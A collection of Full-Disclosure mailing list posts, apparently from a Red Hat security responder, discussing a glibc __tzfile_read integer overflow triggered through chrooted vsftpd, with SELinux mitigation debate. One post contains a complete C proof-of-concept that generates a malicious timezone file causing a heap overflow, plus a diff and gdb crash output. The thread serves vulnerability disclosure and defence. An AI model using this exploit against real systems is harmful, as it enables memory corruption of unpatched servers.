Re: [Full-disclosure] We're now paying up to $20, 000 for web vulns in our services
IMHO, anyone who willingly, knowingly places customer data at risk by inviting attacks on their production systems is playing a very dangerous game. There is no guarantee that a vuln discovered by a truly honest researcher couldn't become a weapon for the dishonest researcher through secondary discovery I'm not sure I follow. Are you saying that the dishonest researcher will not try to find vulnerabilities if there is no reward program for the honest ones? He made a good example of a Slippery Slope. -- Ramon de C Valle / Red Hat Product Security Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] More on exploiting glibc __tzfile_read integer overflow to buffer overflow and vsftpd
More on exploiting glibc __tzfile_read integer overflow to buffer overflow and vsftpd http://rcvalle.com/post/14261796328/more-on-exploiting-glibc-tzfile-read-integer-overflow -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Exploiting glibc __tzfile_read integer overflow to buffer overflow and vsftpd
Exploiting glibc __tzfile_read integer overflow to buffer overflow and vsftpd http://rcvalle.com/post/14169476482/exploiting-glibc-tzfile-read-integer-overflow-to -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] vsFTPd remote code execution
as you can obviously see vsftpd loads the /lib/libgcc_s.so.1 inside
the chroot,
so voila we have the same issue as with FreeBSD ftpd/proftpd.
I am now looking into the possibility to modify
http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c
and use as the library. It will be a fun Proof of Concept.
Hats off to you! :)
Anyone with an up2date linux local root which only makes use of
syscalls? :
All this was tested on a CentOS 5.5 installation, vsFTPd 2.3.4 was
compiled from sources
and launched from xinetd.
I've also triggered this in RHEL 6 with its latest version of vsftpd installed
with the following changes made to dividead's exploit:
--- a.c 2011-12-13 18:05:50.70190 -0200
+++ b.c 2011-12-13 18:06:26.87406 -0200
@@ -59,8 +59,8 @@
total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
~(__alignof__ (struct ttinfo) - 1));
-/* value of chars, to get a malloc(0) */
-evil2 = 0 - total_size;
+/* value of chars, to get a malloc(500) */
+evil2 = 0 - total_size + 500;
PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
p = (char *)evil;
@@ -68,6 +68,6 @@
printf(%c, p[i]);
/* data we overflow with */
-for (i = 0; i 5; i++)
+for (i = 0; i 50; i++)
printf(A);
}
--
Ramon de C Valle / Red Hat Security Response Team
#include stdio.h
#include stdint.h
#include time.h
#include string.h
#define TZ_MAGICTZif
#define PUT_32BIT_MSB(cp, value)\
do {\
(cp)[0] = (value) 24;\
(cp)[1] = (value) 16;\
(cp)[2] = (value) 8; \
(cp)[3] = (value); \
} while (0)
struct tzhead {
chartzh_magic[4];
chartzh_version[1];
chartzh_reserved[15];
chartzh_ttisgmtcnt[4];
chartzh_ttisstdcnt[4];
chartzh_leapcnt[4];
chartzh_timecnt[4];
chartzh_typecnt[4];
chartzh_charcnt[4];
};
struct ttinfo
{
long int offset;
unsigned char isdst;
unsigned char idx;
unsigned char isstd;
unsigned char isgmt;
};
int main(void)
{
struct tzhead evil;
int i;
char *p;
uint32_t total_size;
uint32_t evil1, evil2;
/* Initialize static part of the header */
memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1);
evil.tzh_version[0] = 0;
memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));
memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));
memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));
memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));
memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt));
/* Initialize nasty part of the header */
evil1 = 500;
PUT_32BIT_MSB(evil.tzh_timecnt, evil1);
total_size = evil1 * (sizeof(time_t) + 1);
total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
~(__alignof__ (struct ttinfo) - 1));
/* value of chars, to get a malloc(500) */
evil2 = 0 - total_size + 500;
PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
p = (char *)evil;
for (i = 0; i sizeof(evil); i++)
printf(%c, p[i]);
/* data we overflow with */
for (i = 0; i 50; i++)
printf(A);
}
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
If you want to prevent apps from reading zoneinfo files that a user can write and read files a user can write, you will loose. Why are you setting up the chroot with content a user can write too? If you simply prevent him from writing to /usr/share, won't that solve the problem? Not really. Because, in fact, the user, when chrooted, is writing to /home/user/usr/share/zoneinfo/. I've suggested a different file context for /home/(.*)/usr/share/zoneinfo(/.*) in vsftpd policy module. But I don't think this will be necessary due to the recent findings about vsftpd. -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] VSFTPD Remote Heap Overrun (low severity)
This is afaik a patched CVE in Linux glibc [1] which can be triggered through the very secure ftp daemon [2] so it will only work on older linux distros. Be aware that vsftpd has privilege seperation built in so this bug will not yield a root shell. It could yield root only in junction with a linux kernel vulnerability because the attacker will not be able to break the chroot without being root. This bug has a low severity because it's hard to exploit. Linux systems without patched glibc are vulnerable even if the latest version vsftpd-2.3.4 is installed. The bug is in the glibc timezone code. vsftpd loads timezone files from /usr [3]. If the attacker is inside a chroot he can easily create this directory and the timezone file and trigger the heap overrun. A Debugging Session illustrating the bug can be found on youtube: http://www.youtube.com/watch?v=KRCuozBM_dQ I did a brief analysis of this issue. And it seems vsftpd does not add anything to this as an attack vector. Althought we can control the size of the chunk to be allocated (i.e. transitions), and can arbitrarily allocate this chunk from fast bins, the main arena, or eventually, a new mmap()'ed heap. We do not have any control over when its adjacent chunks are allocated, freed, the type of their contents, when they will be used, how they will be used, and if they will be used and useful at all. In addition, the data used to overflow (i.e. transition times) are read and decoded as 4-byte integers in network (big-endian) byte order, which increases the difficulty in faking any structure, such as the adjacent allocated chunk to, at least, get outside of glibc scope after the overflow--since all return paths from __tzfile_read frees our controlled previously allocated chunk. Do you or anyone know a way to potentially exploit this vulnerability? Cheers! Thanks, [1] http://dividead.wordpress.com/tag/heap-overflow/ [2] https://security.appspot.com/vsftpd.html [3] For example /usr/share/zoneinfo/UTC-01:00 /Kingcope -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
I havent looked into it yet, just saw the 0x41414141 in the registers and assumed it is exploitable.I will have a look into it when I find time and post the results here. Just some additional information about what probably happened in your case, and why I've asked if this behaviour is consistent. In Red Hat Enterprise Linux 6, vsftpd-2.2.2, and glibc 2.12: [...] (gdb) c Continuing. Program received signal SIGABRT, Aborted. 0x009c2424 in __kernel_vsyscall () (gdb) bt #0 0x009c2424 in __kernel_vsyscall () #1 0x001bdd31 in raise () from /lib/libc.so.6 #2 0x001bf60a in abort () from /lib/libc.so.6 #3 0x001fbd5d in __libc_message () from /lib/libc.so.6 #4 0x002021a1 in malloc_printerr () from /lib/libc.so.6 #5 0x00222ca3 in __tzfile_read () from /lib/libc.so.6 #6 0x00222348 in tzset_internal () from /lib/libc.so.6 #7 0x00222491 in __tz_convert () from /lib/libc.so.6 #8 0x0022078f in localtime () from /lib/libc.so.6 #9 0x00180f1d in ?? () #10 0x001769de in ?? () #11 0x00176cb8 in ?? () #12 0x001701aa in ?? () #13 0x00172758 in ?? () #14 0x0017a46e in ?? () #15 0x0017a937 in ?? () #16 0x0016d58d in main () (gdb) f 5 #5 0x00222ca3 in __tzfile_read () from /lib/libc.so.6 (gdb) i r eax0x0 0 ecx0x53e1342 edx0x6 6 ebx0x319ff4 3252212 esp0xbfb34fc8 0xbfb34fc8 ebp0xbfb350dc 0xbfb350dc esi0x1f4500 edi0x12cf0f819722488 eip0x222ca3 0x222ca3 __tzfile_read+83 eflags 0x200202 [ IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/i $eip = 0x222ca3 __tzfile_read+83: movl $0x0,0x9c0(%ebx) (gdb) i r ebx ebx0x319ff4 3252212 (gdb) x/x $ebx+0x9c0 0x31a9b4 transitions: 0x012ce928 (gdb) x/i $eip = 0x222ca3 __tzfile_read+83: movl $0x0,0x9c0(%ebx) (gdb) 0x222cad __tzfile_read+93: lea-0xc(%ebp),%esp (gdb) 0x222cb0 __tzfile_read+96: pop%ebx (gdb) 0x222cb1 __tzfile_read+97: pop%esi (gdb) 0x222cb2 __tzfile_read+98: pop%edi (gdb) 0x222cb3 __tzfile_read+99: pop%ebp (gdb) 0x222cb4 __tzfile_read+100:ret (gdb) As I mentioned, this is detected by glibc when freeing our controlled chunk (i.e. transitions), before returning from __tzfile_read. In the video, I see you used dividead's exploit without change, thus malloc(0) most likely allocated from fast bins, and you probably had the __tzfile_read (i.e. f) file structure allocated nearby within the ~5 adjacent bytes, and had this corrupted at some place in main arena (since file structures are larger than 64 bytes and will not be allocated from fast bins). You probably will see this behaviour repeat, but most likely the file structure will not be located at the same offset in your buffer. For SELinux, unfortunately it seems that with the appropriate configuration of allow_ftpd_full_access disabled and ftp_home_dir enabled, a vsftpd process chrooted and confined (i.e. ftpd_t) allow locale files to be opened not having the locale_t type (i.e. user_home_t, in this case), which if don't allow would have completely mitigated this issue. Dan, could you fix this in SELinux policy? Thanks, -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
Ramon, not sure I understand, what are you trying to prevent here? Hello Dan, vsftpd processes open locale files from the /usr/share/zoneinfo directory, which are expected to have the locale_t type. A chrooted user can create a specially-crafted locale file in /home/user/usr/share/zoneinfo directory to try exploiting this glibc vulnerability. However, the specially-crafted locale file created will have the user_home_t type and not the locale_t. SELinux rules for vsftpd (i.e. ftpd_t) allowing only opening locale files from usr_t directories with locale_t type should have completely mitigated this. -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
But how can I state that ftp has access to the users homedir and not allow access to user_home_t? This is a good question. Actually, we shouldn't allow ftpd_t read the locale files from within user_home_t directories. But now I'm not sure if this will be possible. -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
To fill in the SELinux details for the people following along at home: The problem is that at open() time, there's no good way to specify what the expected label is (now *that* might be an interesting extention to open() for some enterprisng grad student) - so as long as the file has *any* foo_t label that the program is allowed to access, the open() will succeed. There's no way for it to say I'm opening what *should* be a locale_t file, so if I'm being coerced into opening a user_foo_t, please nuke the request. Exactly. Thanks for putting this into more concise wording. -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
But how can I state that ftp has access to the users homedir and not allow access to user_home_t? This is a good question. Actually, we shouldn't allow ftpd_t read the locale files from within user_home_t directories. But now I'm not sure if this will be possible. A different file context for /home/(.*)/usr/share/zoneinfo(/.*) in vsftpd policy module would be a feasible solution? Will ftpd_t honour this when creating new files? -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
